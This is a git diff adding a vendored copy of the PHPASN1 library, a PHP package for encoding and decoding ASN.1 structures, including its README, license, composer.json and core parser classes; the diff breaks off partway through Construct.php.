[#57](https://github.com/fgrosse/PHPASN1/issues/57) + - `ExplicitlyTaggedObject::__construct` does now accept multiple objects to be tagged with a single tag + - `ExplicitlyTaggedObject::getContent` will now always return an array (even if only one object is tagged) + +#### v.1.4.2 (2015-09-29) +* fix a bug that would prevent you from decoding empty tagged objects [#57](https://github.com/fgrosse/PHPASN1/issues/57) + +#### v.1.4.1 +* improve exception messages and general error handling [#55](https ://github.com/fgrosse/PHPASN1/pull/55) + +#### v.1.4.0 +* **require PHP 5.6** +* support big integers (closes #1 and #37) +* enforce one code style via [styleci.io][9] +* track code coverage via [coveralls.io][10] +* replace obsolete `FG\ASN1\Exception\GeneralException` with `\Exception` +* `Construct` (`Sequence`, `Set`) does now implement `ArrayAccess`, `Countable` and `Iterator` so its easier to use +* add [`TemplateParser`][11] diff --git a/includes/vendor/fgrosse/phpasn1/LICENSE b/includes/vendor/fgrosse/phpasn1/LICENSE new file mode 100644 index 0000000..1e17eb0 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2012-2015 Friedrich Große + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/includes/vendor/fgrosse/phpasn1/README.md b/includes/vendor/fgrosse/phpasn1/README.md new file mode 100644 index 0000000..5c380db --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/README.md @@ -0,0 +1,169 @@ +PHPASN1 +======= + +[![Build Status](https://github.com/fgrosse/PHPASN1/actions/workflows/phpunit.yml/badge.svg)](https://github.com/fgrosse/PHPASN1/actions/workflows/phpunit.yml) +[![PHP 7 ready](http://php7ready.timesplinter.ch/fgrosse/PHPASN1/badge.svg)](https://travis-ci.org/fgrosse/PHPASN1) +[![Coverage Status](https://coveralls.io/repos/fgrosse/PHPASN1/badge.svg?branch=master&service=github)](https://coveralls.io/github/fgrosse/PHPASN1?branch=master) + +[![Latest Stable Version](https://poser.pugx.org/fgrosse/phpasn1/v/stable.png)](https://packagist.org/packages/fgrosse/phpasn1) +[![Total Downloads](https://poser.pugx.org/fgrosse/phpasn1/downloads.png)](https://packagist.org/packages/fgrosse/phpasn1) +[![Latest Unstable Version](https://poser.pugx.org/fgrosse/phpasn1/v/unstable.png)](https://packagist.org/packages/fgrosse/phpasn1) +[![License](https://poser.pugx.org/fgrosse/phpasn1/license.png)](https://packagist.org/packages/fgrosse/phpasn1) + +--- + +

    Notice: This library is no longer actively maintained!

    +If you are currently using PHPASN1, this might not be an immediate problem for you, since this library was always rather stable. + +However, you are advised to migrate to alternative packages to ensure that your applications remain functional also with newer PHP versions. + +--- + +A PHP Framework that allows you to encode and decode arbitrary [ASN.1][3] structures +using the [ITU-T X.690 Encoding Rules][4]. +This encoding is very frequently used in [X.509 PKI environments][5] or the communication between heterogeneous computer systems. + +The API allows you to encode ASN.1 structures to create binary data such as certificate +signing requests (CSR), X.509 certificates or certificate revocation lists (CRL). +PHPASN1 can also read [BER encoded][6] binary data into separate PHP objects that can be manipulated by the user and reencoded afterwards. + +The **changelog** can now be found at [CHANGELOG.md](CHANGELOG.md). + +## Dependencies + +PHPASN1 requires at least `PHP 7.0` and either the `gmp` or `bcmath` extension. +Support for older PHP versions (i.e. PHP 5.6) was dropped starting with `v2.0`. +If you must use an outdated PHP version consider using [PHPASN v1.5][13]. + +For the loading of object identifier names directly from the web [curl][7] is used. + +## Installation + +The preferred way to install this library is to rely on [Composer][2]: + +```bash +$ composer require fgrosse/phpasn1 +``` + +## Usage + +### Encoding ASN.1 Structures + +PHPASN1 offers you a class for each of the implemented ASN.1 universal types. +The constructors should be pretty self explanatory so you should have no big trouble getting started. +All data will be encoded using [DER encoding][8] + +```php +use FG\ASN1\OID; +use FG\ASN1\Universal\Integer; +use FG\ASN1\Universal\Boolean; +use FG\ASN1\Universal\Enumerated; +use FG\ASN1\Universal\IA5String; +use FG\ASN1\Universal\ObjectIdentifier; +use FG\ASN1\Universal\PrintableString; +use FG\ASN1\Universal\Sequence; +use FG\ASN1\Universal\Set; +use FG\ASN1\Universal\NullObject; + +$integer = new Integer(123456); +$boolean = new Boolean(true); +$enum = new Enumerated(1); +$ia5String = new IA5String('Hello world'); + +$asnNull = new NullObject(); +$objectIdentifier1 = new ObjectIdentifier('1.2.250.1.16.9'); +$objectIdentifier2 = new ObjectIdentifier(OID::RSA_ENCRYPTION); +$printableString = new PrintableString('Foo bar'); + +$sequence = new Sequence($integer, $boolean, $enum, $ia5String); +$set = new Set($sequence, $asnNull, $objectIdentifier1, $objectIdentifier2, $printableString); + +$myBinary = $sequence->getBinary(); +$myBinary .= $set->getBinary(); + +echo base64_encode($myBinary); +``` + + +### Decoding binary data + +Decoding BER encoded binary data is just as easy as encoding it: + +```php +use FG\ASN1\ASNObject; + +$base64String = ... +$binaryData = base64_decode($base64String); +$asnObject = ASNObject::fromBinary($binaryData); + + +// do stuff +``` + +If you already know exactly how your expected data should look like you can use the `FG\ASN1\TemplateParser`: + +```php +use FG\ASN1\TemplateParser; + +// first define your template +$template = [ + Identifier::SEQUENCE => [ + Identifier::SET => [ + Identifier::OBJECT_IDENTIFIER, + Identifier::SEQUENCE => [ + Identifier::INTEGER, + Identifier::BITSTRING, + ] + ] + ] +]; + +// if your binary data is not matching the template you provided this will throw an `\Exception`: +$parser = new TemplateParser(); +$object = $parser->parseBinary($data, $template); + +// there is also a convenience function if you parse binary data from base64: +$object = $parser->parseBase64($data, $template); +``` + +You can use this function to make sure your data has exactly the format you are expecting. + +### Navigating decoded data + +All constructed classes (i.e. `Sequence` and `Set`) can be navigated by array access or using an iterator. +You can find examples +[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/Universal/SequenceTest.php#L148-148), +[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/Universal/SequenceTest.php#L121) and +[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/TemplateParserTest.php#L45). + + +### Give me more examples! + +To see some example usage of the API classes or some generated output check out the [examples](https://github.com/fgrosse/PHPASN1/tree/master/examples). + + +### How do I contribute? + +This project is no longer maintained and thus does not accept any new contributions. + +### Thanks + +To [all contributors][1] so far! + +## License + +This library is distributed under the [MIT License](LICENSE). + +[1]: https://github.com/fgrosse/PHPASN1/graphs/contributors +[2]: https://getcomposer.org/ +[3]: http://www.itu.int/ITU-T/asn1/ +[4]: http://www.itu.int/ITU-T/recommendations/rec.aspx?rec=x.690 +[5]: http://en.wikipedia.org/wiki/X.509 +[6]: http://en.wikipedia.org/wiki/X.690#BER_encoding +[7]: http://php.net/manual/en/book.curl.php +[8]: http://en.wikipedia.org/wiki/X.690#DER_encoding +[9]: https://styleci.io +[10]: https://coveralls.io/github/fgrosse/PHPASN1 +[11]: https://github.com/fgrosse/PHPASN1/blob/master/tests/ASN1/TemplateParserTest.php#L16 +[12]: https://groups.google.com/d/forum/phpasn1 +[13]: https://packagist.org/packages/fgrosse/phpasn1#1.5.2 diff --git a/includes/vendor/fgrosse/phpasn1/composer.json b/includes/vendor/fgrosse/phpasn1/composer.json new file mode 100644 index 0000000..130dc8f --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/composer.json @@ -0,0 +1,49 @@ +{ + "name": "fgrosse/phpasn1", + "description": "A PHP Framework that allows you to encode and decode arbitrary ASN.1 structures using the ITU-T X.690 Encoding Rules.", + "type": "library", + "homepage": "https://github.com/FGrosse/PHPASN1", + "license": "MIT", + "authors": [ + { + "name": "Friedrich Große", + "email": "friedrich.grosse@gmail.com", + "homepage": "https://github.com/FGrosse", + "role": "Author" + }, + { + "name": "All contributors", + "homepage": "https://github.com/FGrosse/PHPASN1/contributors" + } + ], + "keywords": [ "x690", "x.690", "x.509", "x509", "asn1", "asn.1", "ber", "der", "binary", "encoding", "decoding" ], + + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", + "php-coveralls/php-coveralls": "~2.0" + }, + "suggest": { + "ext-gmp": "GMP is the preferred extension for big integer calculations", + "ext-bcmath": "BCmath is the fallback extension for big integer calculations", + "phpseclib/bcmath_compat": "BCmath polyfill for servers where neither GMP nor BCmath is available", + "ext-curl": "For loading OID information from the web if they have not bee defined statically" + }, + "autoload": { + "psr-4": { + "FG\\": "lib/" + } + }, + "autoload-dev": { + "psr-4": { + "FG\\Test\\": "tests/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/ASNObject.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/ASNObject.php new file mode 100644 index 0000000..3b7f162 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/ASNObject.php @@ -0,0 +1,355 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use FG\ASN1\Exception\ParserException; +use FG\ASN1\Universal\BitString; +use FG\ASN1\Universal\Boolean; +use FG\ASN1\Universal\Enumerated; +use FG\ASN1\Universal\GeneralizedTime; +use FG\ASN1\Universal\Integer; +use FG\ASN1\Universal\NullObject; +use FG\ASN1\Universal\ObjectIdentifier; +use FG\ASN1\Universal\RelativeObjectIdentifier; +use FG\ASN1\Universal\OctetString; +use FG\ASN1\Universal\Sequence; +use FG\ASN1\Universal\Set; +use FG\ASN1\Universal\UTCTime; +use FG\ASN1\Universal\IA5String; +use FG\ASN1\Universal\PrintableString; +use FG\ASN1\Universal\NumericString; +use FG\ASN1\Universal\UTF8String; +use FG\ASN1\Universal\UniversalString; +use FG\ASN1\Universal\CharacterString; +use FG\ASN1\Universal\GeneralString; +use FG\ASN1\Universal\VisibleString; +use FG\ASN1\Universal\GraphicString; +use FG\ASN1\Universal\BMPString; +use FG\ASN1\Universal\T61String; +use FG\ASN1\Universal\ObjectDescriptor; +use FG\Utility\BigInteger; +use LogicException; + +/** + * Class ASNObject is the base class for all concrete ASN.1 objects. + */ +abstract class ASNObject implements Parsable +{ + private $contentLength; + private $nrOfLengthOctets; + + /** + * Must return the number of octets of the content part. + * + * @return int + */ + abstract protected function calculateContentLength(); + + /** + * Encode the object using DER encoding. + * + * @see http://en.wikipedia.org/wiki/X.690#DER_encoding + * + * @return string the binary representation of an objects value + */ + abstract protected function getEncodedValue(); + + /** + * Return the content of this object in a non encoded form. + * This can be used to print the value in human readable form. + * + * @return mixed + */ + abstract public function getContent(); + + /** + * Return the object type octet. + * This should use the class constants of Identifier. + * + * @see Identifier + * + * @return int + */ + abstract public function getType(); + + /** + * Returns all identifier octets. If an inheriting class models a tag with + * the long form identifier format, it MUST reimplement this method to + * return all octets of the identifier. + * + * @throws LogicException If the identifier format is long form + * + * @return string Identifier as a set of octets + */ + public function getIdentifier() + { + $firstOctet = $this->getType(); + + if (Identifier::isLongForm($firstOctet)) { + throw new LogicException(sprintf('Identifier of %s uses the long form and must therefor override "ASNObject::getIdentifier()".', get_class($this))); + } + + return chr($firstOctet); + } + + /** + * Encode this object using DER encoding. + * + * @return string the full binary representation of the complete object + */ + public function getBinary() + { + $result = $this->getIdentifier(); + $result .= $this->createLengthPart(); + $result .= $this->getEncodedValue(); + + return $result; + } + + private function createLengthPart() + { + $contentLength = $this->getContentLength(); + $nrOfLengthOctets = $this->getNumberOfLengthOctets($contentLength); + + if ($nrOfLengthOctets == 1) { + return chr($contentLength); + } else { + // the first length octet determines the number subsequent length octets + $lengthOctets = chr(0x80 | ($nrOfLengthOctets - 1)); + for ($shiftLength = 8 * ($nrOfLengthOctets - 2); $shiftLength >= 0; $shiftLength -= 8) { + $lengthOctets .= chr($contentLength >> $shiftLength); + } + + return $lengthOctets; + } + } + + protected function getNumberOfLengthOctets($contentLength = null) + { + if (!isset($this->nrOfLengthOctets)) { + if ($contentLength == null) { + $contentLength = $this->getContentLength(); + } + + $this->nrOfLengthOctets = 1; + if ($contentLength > 127) { + do { // long form + $this->nrOfLengthOctets++; + $contentLength = $contentLength >> 8; + } while ($contentLength > 0); + } + } + + return $this->nrOfLengthOctets; + } + + protected function getContentLength() + { + if (!isset($this->contentLength)) { + $this->contentLength = $this->calculateContentLength(); + } + + return $this->contentLength; + } + + protected function setContentLength($newContentLength) + { + $this->contentLength = $newContentLength; + $this->getNumberOfLengthOctets($newContentLength); + } + + /** + * Returns the length of the whole object (including the identifier and length octets). + */ + public function getObjectLength() + { + $nrOfIdentifierOctets = strlen($this->getIdentifier()); + $contentLength = $this->getContentLength(); + $nrOfLengthOctets = $this->getNumberOfLengthOctets($contentLength); + + return $nrOfIdentifierOctets + $nrOfLengthOctets + $contentLength; + } + + public function __toString() + { + return $this->getContent(); + } + + /** + * Returns the name of the ASN.1 Type of this object. + * + * @see Identifier::getName() + */ + public function getTypeName() + { + return Identifier::getName($this->getType()); + } + + /** + * @param string $binaryData + * @param int $offsetIndex + * + * @throws ParserException + * + * @return \FG\ASN1\ASNObject + */ + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + if (strlen($binaryData) <= $offsetIndex) { + throw new ParserException('Can not parse binary from data: Offset index larger than input size', $offsetIndex); + } + + $identifierOctet = ord($binaryData[$offsetIndex]); + if (Identifier::isContextSpecificClass($identifierOctet) && Identifier::isConstructed($identifierOctet)) { + return ExplicitlyTaggedObject::fromBinary($binaryData, $offsetIndex); + } + + switch ($identifierOctet) { + case Identifier::BITSTRING: + return BitString::fromBinary($binaryData, $offsetIndex); + case Identifier::BOOLEAN: + return Boolean::fromBinary($binaryData, $offsetIndex); + case Identifier::ENUMERATED: + return Enumerated::fromBinary($binaryData, $offsetIndex); + case Identifier::INTEGER: + return Integer::fromBinary($binaryData, $offsetIndex); + case Identifier::NULL: + return NullObject::fromBinary($binaryData, $offsetIndex); + case Identifier::OBJECT_IDENTIFIER: + return ObjectIdentifier::fromBinary($binaryData, $offsetIndex); + case Identifier::RELATIVE_OID: + return RelativeObjectIdentifier::fromBinary($binaryData, $offsetIndex); + case Identifier::OCTETSTRING: + return OctetString::fromBinary($binaryData, $offsetIndex); + case Identifier::SEQUENCE: + return Sequence::fromBinary($binaryData, $offsetIndex); + case Identifier::SET: + return Set::fromBinary($binaryData, $offsetIndex); + case Identifier::UTC_TIME: + return UTCTime::fromBinary($binaryData, $offsetIndex); + case Identifier::GENERALIZED_TIME: + return GeneralizedTime::fromBinary($binaryData, $offsetIndex); + case Identifier::IA5_STRING: + return IA5String::fromBinary($binaryData, $offsetIndex); + case Identifier::PRINTABLE_STRING: + return PrintableString::fromBinary($binaryData, $offsetIndex); + case Identifier::NUMERIC_STRING: + return NumericString::fromBinary($binaryData, $offsetIndex); + case Identifier::UTF8_STRING: + return UTF8String::fromBinary($binaryData, $offsetIndex); + case Identifier::UNIVERSAL_STRING: + return UniversalString::fromBinary($binaryData, $offsetIndex); + case Identifier::CHARACTER_STRING: + return CharacterString::fromBinary($binaryData, $offsetIndex); + case Identifier::GENERAL_STRING: + return GeneralString::fromBinary($binaryData, $offsetIndex); + case Identifier::VISIBLE_STRING: + return VisibleString::fromBinary($binaryData, $offsetIndex); + case Identifier::GRAPHIC_STRING: + return GraphicString::fromBinary($binaryData, $offsetIndex); + case Identifier::BMP_STRING: + return BMPString::fromBinary($binaryData, $offsetIndex); + case Identifier::T61_STRING: + return T61String::fromBinary($binaryData, $offsetIndex); + case Identifier::OBJECT_DESCRIPTOR: + return ObjectDescriptor::fromBinary($binaryData, $offsetIndex); + default: + // At this point the identifier may be >1 byte. + if (Identifier::isConstructed($identifierOctet)) { + return new UnknownConstructedObject($binaryData, $offsetIndex); + } else { + $identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex); + $lengthOfUnknownObject = self::parseContentLength($binaryData, $offsetIndex); + $offsetIndex += $lengthOfUnknownObject; + + return new UnknownObject($identifier, $lengthOfUnknownObject); + } + } + } + + protected static function parseIdentifier($identifierOctet, $expectedIdentifier, $offsetForExceptionHandling) + { + if (is_string($identifierOctet) || is_numeric($identifierOctet) == false) { + $identifierOctet = ord($identifierOctet); + } + + if ($identifierOctet != $expectedIdentifier) { + $message = 'Can not create an '.Identifier::getName($expectedIdentifier).' from an '.Identifier::getName($identifierOctet); + throw new ParserException($message, $offsetForExceptionHandling); + } + } + + protected static function parseBinaryIdentifier($binaryData, &$offsetIndex) + { + if (strlen($binaryData) <= $offsetIndex) { + throw new ParserException('Can not parse identifier from data: Offset index larger than input size', $offsetIndex); + } + + $identifier = $binaryData[$offsetIndex++]; + + if (Identifier::isLongForm(ord($identifier)) == false) { + return $identifier; + } + + while (true) { + if (strlen($binaryData) <= $offsetIndex) { + throw new ParserException('Can not parse identifier (long form) from data: Offset index larger than input size', $offsetIndex); + } + $nextOctet = $binaryData[$offsetIndex++]; + $identifier .= $nextOctet; + + if ((ord($nextOctet) & 0x80) === 0) { + // the most significant bit is 0 to we have reached the end of the identifier + break; + } + } + + return $identifier; + } + + protected static function parseContentLength(&$binaryData, &$offsetIndex, $minimumLength = 0) + { + if (strlen($binaryData) <= $offsetIndex) { + throw new ParserException('Can not parse content length from data: Offset index larger than input size', $offsetIndex); + } + + $contentLength = ord($binaryData[$offsetIndex++]); + if (($contentLength & 0x80) != 0) { + // bit 8 is set -> this is the long form + $nrOfLengthOctets = $contentLength & 0x7F; + $contentLength = BigInteger::create(0x00); + for ($i = 0; $i < $nrOfLengthOctets; $i++) { + if (strlen($binaryData) <= $offsetIndex) { + throw new ParserException('Can not parse content length (long form) from data: Offset index larger than input size', $offsetIndex); + } + $contentLength = $contentLength->shiftLeft(8)->add(ord($binaryData[$offsetIndex++])); + } + + if ($contentLength->compare(PHP_INT_MAX) > 0) { + throw new ParserException("Can not parse content length from data: length > maximum integer", $offsetIndex); + } + + $contentLength = $contentLength->toInteger(); + } + + if ($contentLength < $minimumLength) { + throw new ParserException('A '.get_called_class()." should have a content length of at least {$minimumLength}. Extracted length was {$contentLength}", $offsetIndex); + } + + $lenDataRemaining = strlen($binaryData) - $offsetIndex; + + if ($lenDataRemaining < $contentLength) { + throw new ParserException("Content length {$contentLength} exceeds remaining data length {$lenDataRemaining}", $offsetIndex); + } + + return $contentLength; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/AbstractString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/AbstractString.php new file mode 100644 index 0000000..7e0d7dd --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/AbstractString.php @@ -0,0 +1,136 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use Exception; + +abstract class AbstractString extends ASNObject implements Parsable +{ + /** @var string */ + protected $value; + private $checkStringForIllegalChars = true; + private $allowedCharacters = []; + + /** + * The abstract base class for ASN.1 classes which represent some string of character. + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + } + + public function getContent() + { + return $this->value; + } + + protected function allowCharacter($character) + { + $this->allowedCharacters[] = $character; + } + + protected function allowCharacters(...$characters) + { + foreach ($characters as $character) { + $this->allowedCharacters[] = $character; + } + } + + protected function allowNumbers() + { + foreach (range('0', '9') as $char) { + $this->allowedCharacters[] = (string) $char; + } + } + + protected function allowAllLetters() + { + $this->allowSmallLetters(); + $this->allowCapitalLetters(); + } + + protected function allowSmallLetters() + { + foreach (range('a', 'z') as $char) { + $this->allowedCharacters[] = $char; + } + } + + protected function allowCapitalLetters() + { + foreach (range('A', 'Z') as $char) { + $this->allowedCharacters[] = $char; + } + } + + protected function allowSpaces() + { + $this->allowedCharacters[] = ' '; + } + + protected function allowAll() + { + $this->checkStringForIllegalChars = false; + } + + protected function calculateContentLength() + { + return strlen($this->value); + } + + protected function getEncodedValue() + { + if ($this->checkStringForIllegalChars) { + $this->checkString(); + } + + return $this->value; + } + + protected function checkString() + { + $stringLength = $this->getContentLength(); + for ($i = 0; $i < $stringLength; $i++) { + if (in_array($this->value[$i], $this->allowedCharacters) == false) { + $typeName = Identifier::getName($this->getType()); + throw new Exception("Could not create a {$typeName} from the character sequence '{$this->value}'."); + } + } + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + $parsedObject = new static(''); + + self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + $string = substr($binaryData, $offsetIndex, $contentLength); + $offsetIndex += $contentLength; + + $parsedObject->value = $string; + $parsedObject->setContentLength($contentLength); + return $parsedObject; + } + + public static function isValid($string) + { + $testObject = new static($string); + try { + $testObject->checkString(); + + return true; + } catch (Exception $exception) { + return false; + } + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/AbstractTime.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/AbstractTime.php new file mode 100644 index 0000000..8e721ae --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/AbstractTime.php @@ -0,0 +1,78 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use DateInterval; +use DateTime; +use DateTimeZone; +use Exception; + +abstract class AbstractTime extends ASNObject +{ + /** @var DateTime */ + protected $value; + + public function __construct($dateTime = null, $dateTimeZone = 'UTC') + { + if ($dateTime == null || is_string($dateTime)) { + $timeZone = new DateTimeZone($dateTimeZone); + $dateTimeObject = new DateTime($dateTime, $timeZone); + if ($dateTimeObject == false) { + $errorMessage = $this->getLastDateTimeErrors(); + $className = Identifier::getName($this->getType()); + throw new Exception(sprintf("Could not create %s from date time string '%s': %s", $className, $dateTime, $errorMessage)); + } + $dateTime = $dateTimeObject; + } elseif (!$dateTime instanceof DateTime) { + throw new Exception('Invalid first argument for some instance of AbstractTime constructor'); + } + + $this->value = $dateTime; + } + + public function getContent() + { + return $this->value; + } + + protected function getLastDateTimeErrors() + { + $messages = ''; + $lastErrors = DateTime::getLastErrors() ?: ['errors' => []]; + foreach ($lastErrors['errors'] as $errorMessage) { + $messages .= "{$errorMessage}, "; + } + + return substr($messages, 0, -2); + } + + public function __toString() + { + return $this->value->format("Y-m-d\tH:i:s"); + } + + protected static function extractTimeZoneData(&$binaryData, &$offsetIndex, DateTime $dateTime) + { + $sign = $binaryData[$offsetIndex++]; + $timeOffsetHours = intval(substr($binaryData, $offsetIndex, 2)); + $timeOffsetMinutes = intval(substr($binaryData, $offsetIndex + 2, 2)); + $offsetIndex += 4; + + $interval = new DateInterval("PT{$timeOffsetHours}H{$timeOffsetMinutes}M"); + if ($sign == '+') { + $dateTime->sub($interval); + } else { + $dateTime->add($interval); + } + + return $dateTime; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Base128.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Base128.php new file mode 100644 index 0000000..119ee7b --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Base128.php @@ -0,0 +1,63 @@ +modulus(0x80)->toInteger()); + + $value = $value->shiftRight(7); + while ($value->compare(0) > 0) { + $octets .= chr(0x80 | $value->modulus(0x80)->toInteger()); + $value = $value->shiftRight(7); + } + + return strrev($octets); + } + + /** + * @param string $octets + * + * @throws InvalidArgumentException if the given octets represent a malformed base-128 value or the decoded value would exceed the the maximum integer length + * + * @return int + */ + public static function decode($octets) + { + $bitsPerOctet = 7; + $value = BigInteger::create(0); + $i = 0; + + while (true) { + if (!isset($octets[$i])) { + throw new InvalidArgumentException(sprintf('Malformed base-128 encoded value (0x%s).', strtoupper(bin2hex($octets)) ?: '0')); + } + + $octet = ord($octets[$i++]); + + $l1 = $value->shiftLeft($bitsPerOctet); + $r1 = $octet & 0x7f; + $value = $l1->add($r1); + + if (0 === ($octet & 0x80)) { + break; + } + } + + return (string)$value; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/AttributeTypeAndValue.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/AttributeTypeAndValue.php new file mode 100644 index 0000000..3f4027c --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/AttributeTypeAndValue.php @@ -0,0 +1,35 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Composite; + +use FG\ASN1\ASNObject; +use FG\ASN1\Universal\Sequence; +use FG\ASN1\Universal\ObjectIdentifier; + +class AttributeTypeAndValue extends Sequence +{ + /** + * @param ObjectIdentifier|string $objIdentifier + * @param \FG\ASN1\ASNObject $value + */ + public function __construct($objIdentifier, ASNObject $value) + { + if ($objIdentifier instanceof ObjectIdentifier == false) { + $objIdentifier = new ObjectIdentifier($objIdentifier); + } + parent::__construct($objIdentifier, $value); + } + + public function __toString() + { + return $this->children[0].': '.$this->children[1]; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/RDNString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/RDNString.php new file mode 100644 index 0000000..e95e7ac --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/RDNString.php @@ -0,0 +1,37 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Composite; + +use FG\ASN1\Universal\PrintableString; +use FG\ASN1\Universal\IA5String; +use FG\ASN1\Universal\UTF8String; + +class RDNString extends RelativeDistinguishedName +{ + /** + * @param string|\FG\ASN1\Universal\ObjectIdentifier $objectIdentifierString + * @param string|\FG\ASN1\ASNObject $value + */ + public function __construct($objectIdentifierString, $value) + { + if (PrintableString::isValid($value)) { + $value = new PrintableString($value); + } else { + if (IA5String::isValid($value)) { + $value = new IA5String($value); + } else { + $value = new UTF8String($value); + } + } + + parent::__construct($objectIdentifierString, $value); + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/RelativeDistinguishedName.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/RelativeDistinguishedName.php new file mode 100644 index 0000000..4185f41 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Composite/RelativeDistinguishedName.php @@ -0,0 +1,50 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Composite; + +use FG\ASN1\Exception\NotImplementedException; +use FG\ASN1\ASNObject; +use FG\ASN1\Universal\Set; + +class RelativeDistinguishedName extends Set +{ + /** + * @param string|\FG\ASN1\Universal\ObjectIdentifier $objIdentifierString + * @param \FG\ASN1\ASNObject $value + */ + public function __construct($objIdentifierString, ASNObject $value) + { + // TODO: This does only support one element in the RelativeDistinguishedName Set but it it is defined as follows: + // RelativeDistinguishedName ::= SET SIZE (1..MAX) OF AttributeTypeAndValue + parent::__construct(new AttributeTypeAndValue($objIdentifierString, $value)); + } + + public function getContent() + { + /** @var \FG\ASN1\ASNObject $firstObject */ + $firstObject = $this->children[0]; + return $firstObject->__toString(); + } + + /** + * At the current version this code can not work since the implementation of Construct requires + * the class to support a constructor without arguments. + * + * @deprecated this function is not yet implemented! Feel free to submit a pull request on github + * @param string $binaryData + * @param int $offsetIndex + * @throws NotImplementedException + */ + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + throw new NotImplementedException(); + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Construct.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Construct.php new file mode 100644 index 0000000..cedf422 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Construct.php @@ -0,0 +1,202 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use ArrayAccess; +use ArrayIterator; +use Countable; +use FG\ASN1\Exception\ParserException; +use Iterator; + +abstract class Construct extends ASNObject implements Countable, ArrayAccess, Iterator, Parsable +{ + /** @var \FG\ASN1\ASNObject[] */ + protected $children; + private $iteratorPosition; + + /** + * @param \FG\ASN1\ASNObject[] $children the variadic type hint is commented due to https://github.com/facebook/hhvm/issues/4858 + */ + public function __construct(/* HH_FIXME[4858]: variadic + strict */ ...$children) + { + $this->children = $children; + $this->iteratorPosition = 0; + } + + public function getContent() + { + return $this->children; + } + + #[\ReturnTypeWillChange] + public function rewind() + { + $this->iteratorPosition = 0; + } + + #[\ReturnTypeWillChange] + public function current() + { + return $this->children[$this->iteratorPosition]; + } + + #[\ReturnTypeWillChange] + public function key() + { + return $this->iteratorPosition; + } + + #[\ReturnTypeWillChange] + public function next() + { + $this->iteratorPosition++; + } + + #[\ReturnTypeWillChange] + public function valid() + { + return isset($this->children[$this->iteratorPosition]); + } + + #[\ReturnTypeWillChange] + public function offsetExists($offset) + { + return array_key_exists($offset, $this->children); + } + + #[\ReturnTypeWillChange] + public function offsetGet($offset) + 